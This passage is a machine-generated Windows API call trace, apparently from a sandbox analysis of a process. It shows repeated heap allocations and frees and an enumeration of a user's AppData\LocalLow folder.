dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.564] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.564] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0060.564] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0060.564] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.564] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.564] PathFindFileNameW (pszPath="") returned="" [0060.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.565] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.565] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.565] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e5770 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.565] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.565] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x54) returned 0x30faeb0 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e3d0 | out: hHeap=0x670000) returned 1 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3038608 | out: hHeap=0x670000) returned 1 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.566] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0060.566] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.566] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.566] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 